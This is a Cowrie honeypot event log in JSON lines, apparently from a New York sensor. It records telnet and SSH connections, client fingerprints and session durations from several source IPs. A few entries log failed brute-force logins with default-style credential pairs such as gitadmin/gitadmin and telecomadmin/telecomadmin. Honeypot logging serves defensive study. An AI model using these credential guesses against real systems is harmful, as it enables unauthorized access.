{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39012,"dst_ip":"159.203.135.109","dst_port":23,"session":"487d3f9492b6","protocol":"telnet","message":"New connection: 161.97.105.174:39012 (159.203.135.109:23) [session: 487d3f9492b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:10.852132Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1a2s3d4f5","message":"login attempt [ubuntu/1a2s3d4f5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:11.431656Z","src_ip":"220.247.224.226","session":"3601c459da7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.889461517333984,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:11.645456Z","src_ip":"64.227.101.30","session":"d0f1c9300a8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.959840536117554,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:11.984814Z","src_ip":"161.97.105.174","session":"9599e550132f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87086033821106,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:12.140596Z","src_ip":"161.97.105.174","session":"30abbd80f0b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64780569076538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:12.358109Z","src_ip":"161.97.105.174","session":"244a7c95aa62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.163161516189575,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:12.617750Z","src_ip":"161.97.105.174","session":"3e833e996819","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:12.665019Z","src_ip":"220.247.224.226","session":"3601c459da7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39026,"dst_ip":"159.203.135.109","dst_port":23,"session":"29944b0f88dd","protocol":"telnet","message":"New connection: 161.97.105.174:39026 (159.203.135.109:23) [session: 29944b0f88dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:13.728321Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39036,"dst_ip":"159.203.135.109","dst_port":23,"session":"96e822be9028","protocol":"telnet","message":"New connection: 161.97.105.174:39036 (159.203.135.109:23) [session: 96e822be9028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:17.197177Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46608,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b76015ac7dc","protocol":"telnet","message":"New connection: 161.97.105.174:46608 (159.203.135.109:23) [session: 5b76015ac7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:21.283323Z"}
{"eventid":"cowrie.session.closed","duration":31.15283966064453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:28.379426Z","src_ip":"161.97.105.174","session":"f1b5517b0de8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.32081985473633,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:30.218396Z","src_ip":"161.97.105.174","session":"9e081406840f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43682,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ee18269cd92","protocol":"telnet","message":"New connection: 64.227.101.30:43682 (10.17.0.5:23) [session: 2ee18269cd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:34.074687Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":39770,"dst_ip":"10.17.0.5","dst_port":22,"session":"08583fab9164","protocol":"ssh","message":"New connection: 209.99.189.174:39770 (10.17.0.5:22) [session: 08583fab9164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:34.763122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:34.778830Z","src_ip":"209.99.189.174","session":"08583fab9164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:34.909507Z","src_ip":"209.99.189.174","session":"08583fab9164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123!@#","message":"login attempt [ubuntu/ubuntu123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:35.459714Z","src_ip":"209.99.189.174","session":"08583fab9164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:36.593227Z","src_ip":"209.99.189.174","session":"08583fab9164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78679013252258,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:40.140562Z","src_ip":"161.97.105.174","session":"8ab0597e8f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55804,"dst_ip":"159.203.135.109","dst_port":23,"session":"39480f626213","protocol":"telnet","message":"New connection: 161.97.105.174:55804 (159.203.135.109:23) [session: 39480f626213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:40.391437Z"}
{"eventid":"cowrie.session.closed","duration":31.62856674194336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:42.361435Z","src_ip":"161.97.105.174","session":"3d2e4dab2a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44444,"dst_ip":"10.17.0.5","dst_port":23,"session":"437f6d651947","protocol":"telnet","message":"New connection: 64.227.101.30:44444 (10.17.0.5:23) [session: 437f6d651947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:43.100652Z"}
{"eventid":"cowrie.session.closed","duration":0.8750545978546143,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:43.975582Z","src_ip":"64.227.101.30","session":"437f6d651947","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.84528994560242,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:44.319068Z","src_ip":"161.97.105.174","session":"4e4cd170e75c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.37185859680176,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:44.420452Z","src_ip":"161.97.105.174","session":"617a4b72edd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.268325090408325,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:45.120313Z","src_ip":"161.97.105.174","session":"487d3f9492b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0296790599823,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:45.757833Z","src_ip":"161.97.105.174","session":"29944b0f88dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.87210559844971,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:53.069189Z","src_ip":"161.97.105.174","session":"96e822be9028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.807530403137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:53.090765Z","src_ip":"161.97.105.174","session":"5b76015ac7dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35488,"dst_ip":"159.203.135.109","dst_port":23,"session":"93a9b22c73d0","protocol":"telnet","message":"New connection: 161.97.105.174:35488 (159.203.135.109:23) [session: 93a9b22c73d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:53.155693Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53152,"dst_ip":"10.17.0.5","dst_port":23,"session":"5503a953b2bc","protocol":"telnet","message":"New connection: 64.227.101.30:53152 (10.17.0.5:23) [session: 5503a953b2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:55.541067Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58128,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3d13946193","protocol":"telnet","message":"New connection: 161.97.105.174:58128 (159.203.135.109:23) [session: 3b3d13946193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:58.465741Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":36058,"dst_ip":"159.203.135.109","dst_port":22,"session":"58bdcd8fa706","protocol":"ssh","message":"New connection: 200.118.150.20:36058 (159.203.135.109:22) [session: 58bdcd8fa706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:58.673363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:58.677711Z","src_ip":"200.118.150.20","session":"58bdcd8fa706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:58.761691Z","src_ip":"200.118.150.20","session":"58bdcd8fa706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitadmin","password":"gitadmin","message":"login attempt [gitadmin/gitadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:59.127733Z","src_ip":"200.118.150.20","session":"58bdcd8fa706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58144,"dst_ip":"159.203.135.109","dst_port":23,"session":"1df5e7b365d8","protocol":"telnet","message":"New connection: 161.97.105.174:58144 (159.203.135.109:23) [session: 1df5e7b365d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:34:59.718320Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:00.214029Z","src_ip":"200.118.150.20","session":"58bdcd8fa706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43258,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9afd58a447d","protocol":"telnet","message":"New connection: 64.227.101.30:43258 (10.17.0.5:23) [session: f9afd58a447d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:05.476050Z"}
{"eventid":"cowrie.session.closed","duration":36.67939877510071,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:10.753970Z","src_ip":"64.227.101.30","session":"2ee18269cd92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.379765033721924,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:12.771059Z","src_ip":"161.97.105.174","session":"39480f626213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42166,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e7e46f6c6ec","protocol":"telnet","message":"New connection: 161.97.105.174:42166 (159.203.135.109:23) [session: 4e7e46f6c6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:19.069632Z"}
{"eventid":"cowrie.session.closed","duration":120.00297689437866,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:20.519506Z","src_ip":"64.227.101.30","session":"1fda1e2125db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46204,"dst_ip":"10.17.0.5","dst_port":23,"session":"62294b3aa51c","protocol":"telnet","message":"New connection: 64.227.101.30:46204 (10.17.0.5:23) [session: 62294b3aa51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:21.001650Z"}
{"eventid":"cowrie.session.closed","duration":0.007908344268798828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:21.009399Z","src_ip":"64.227.101.30","session":"62294b3aa51c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42178,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c1594c3464","protocol":"telnet","message":"New connection: 161.97.105.174:42178 (159.203.135.109:23) [session: 34c1594c3464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:21.388058Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":46644,"dst_ip":"10.17.0.5","dst_port":22,"session":"314ab4e7fffa","protocol":"ssh","message":"New connection: 209.99.189.174:46644 (10.17.0.5:22) [session: 314ab4e7fffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:23.177915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:23.183108Z","src_ip":"209.99.189.174","session":"314ab4e7fffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:23.309744Z","src_ip":"209.99.189.174","session":"314ab4e7fffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"telecomadmin","message":"login attempt [telecomadmin/telecomadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:23.846999Z","src_ip":"209.99.189.174","session":"314ab4e7fffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:24.977009Z","src_ip":"209.99.189.174","session":"314ab4e7fffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42192,"dst_ip":"159.203.135.109","dst_port":23,"session":"68fe9a5da0e3","protocol":"telnet","message":"New connection: 161.97.105.174:42192 (159.203.135.109:23) [session: 68fe9a5da0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:25.676710Z"}
{"eventid":"cowrie.session.closed","duration":33.52807688713074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:26.683672Z","src_ip":"161.97.105.174","session":"93a9b22c73d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42206,"dst_ip":"159.203.135.109","dst_port":23,"session":"1983b82de16b","protocol":"telnet","message":"New connection: 161.97.105.174:42206 (159.203.135.109:23) [session: 1983b82de16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:28.060589Z"}
{"eventid":"cowrie.session.closed","duration":32.171653270721436,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:30.637294Z","src_ip":"161.97.105.174","session":"3b3d13946193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55996,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcacf4bdba75","protocol":"telnet","message":"New connection: 161.97.105.174:55996 (159.203.135.109:23) [session: bcacf4bdba75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:30.996732Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56012,"dst_ip":"159.203.135.109","dst_port":23,"session":"77fe101f84a5","protocol":"telnet","message":"New connection: 161.97.105.174:56012 (159.203.135.109:23) [session: 77fe101f84a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:31.774334Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56024,"dst_ip":"159.203.135.109","dst_port":23,"session":"915e760aa943","protocol":"telnet","message":"New connection: 161.97.105.174:56024 (159.203.135.109:23) [session: 915e760aa943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:34.972855Z"}
{"eventid":"cowrie.session.closed","duration":35.4400429725647,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:35.158234Z","src_ip":"161.97.105.174","session":"1df5e7b365d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.723907470703125,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:37.264812Z","src_ip":"64.227.101.30","session":"5503a953b2bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46170,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffdcbfa482c5","protocol":"telnet","message":"New connection: 64.227.101.30:46170 (10.17.0.5:23) [session: ffdcbfa482c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:40.931973Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41698,"dst_ip":"159.203.135.109","dst_port":23,"session":"03c21090f6c7","protocol":"telnet","message":"New connection: 161.97.105.174:41698 (159.203.135.109:23) [session: 03c21090f6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:43.368426Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41712,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ccbc3e9ec9b","protocol":"telnet","message":"New connection: 161.97.105.174:41712 (159.203.135.109:23) [session: 1ccbc3e9ec9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:43.838889Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60844,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d104f5e159a","protocol":"ssh","message":"New connection: 193.32.162.145:60844 (10.17.0.5:22) [session: 8d104f5e159a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:47.471098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:35:47.475907Z","src_ip":"193.32.162.145","session":"8d104f5e159a","protocol":"ssh"}
